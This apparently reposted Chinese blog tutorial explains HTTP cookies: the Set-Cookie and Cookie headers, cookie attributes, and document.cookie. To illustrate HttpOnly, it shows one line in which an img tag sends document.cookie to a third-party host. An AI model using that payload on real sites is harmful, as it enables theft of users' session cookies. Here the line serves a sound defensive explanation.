Cookie是服务器存储在浏览器中的一段文本信息,每次浏览器向服务器发送请求时,会携带这些信息。
实质是服务器的返回信息通过Set-Cookie的响应头,将服务器返回的Cookie信息存储到浏览器。
浏览器再发起同源请求时,自动将存储的Cookie通过请求头发送到服务器。
1. 只要域名和端口号相同,就可以共享Cookie;不要求协议相同。
2 单个域名对应的Cookie最好不超过30个
3. 单个Cookie的大小一般不超过4KB。否则被忽略。
1)服务器通过Set-Cookie字段返回需要存储的Cookie。一个字段对应一个Cookie。
如果需要存储多个,需要返回多个Set-Cookie字段。
该字段对应的值,可以包含所有的Cookie内容和属性。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服务器想修改一个Cookie,需要保证name, path, domain, secure属性全部相同;
否则相当于一条新的Cookie。
2)浏览器向服务器发起请求时,发送的Cookie通过分号+空格(; )分割
Cookie: name=value; name2=value2; name3=value3 // 只能发送名称和值,不能发送Cookie的其他属性
浏览器中存储的Cookie示例如下,每条Cookie都含有多个属性:
Name: Cookie的名称
Value :Cookie的值
Domain: 指定需要携带该Cookie的域名。可以设置一级域名,如第一个示例;则其对应的二级、三级域名也会起作用
Path: /表示根路径,根路径(或者说设置的路径)及其子路径该Cookie都有效
Expires: Cookie的过期时间,格式是UTC格式, 可以通过toUTCString()方法获得UTC格式的时间。
Max-Age: Cookie的过期时间,格式是数值,秒数。
如果Expires和Max-Age同时存在,以Max-Age为主;
如果两者都不存在,则默认为当前会话(session)有效;即浏览器关闭,Cookie就不再保留。
可以通过给Expires设置一个过期的时间,删除该Cookie
Secure: 指定发送请求时,只有在https协议下,该Cookie才能被携带发送到服务器。
HttpOnly: 指定只能在浏览器发送http请求时才能携带该Cookie。它不能通过js访问到。
即不能通过document.cookie访问到。设置该属性,可以防止Cookie被第三方网站获取。
// 不使用HttpOnly时,第三方获取当前网站的Cookie //img的src可以向跨域网站发送请求,第三方网站从URL中获取信息,如果设置了HttpOnly就可以防止 <img src=`http://www.fish.com?cookie=${document.cookie}` />
1) document.cookie会获取到属性非HttpOnly的所有cookie。
2)可以通过document.cookie手动设置cookie。
设置Cookie的时候只能一个一个的设置;依次叠加
document.cookie = "a=b";
document.cookie = "c=d";
但是可以设置多个属性。??此处属性名需要小写。
document.cookie = ‘fontSize=14; ‘ + ‘expires=‘ + someDate.toGMTString() + ‘; ‘ + ‘path=/subdirectory; ‘ + ‘domain=*.example.com‘;
原文:https://www.cnblogs.com/lyraLee/p/11853687.html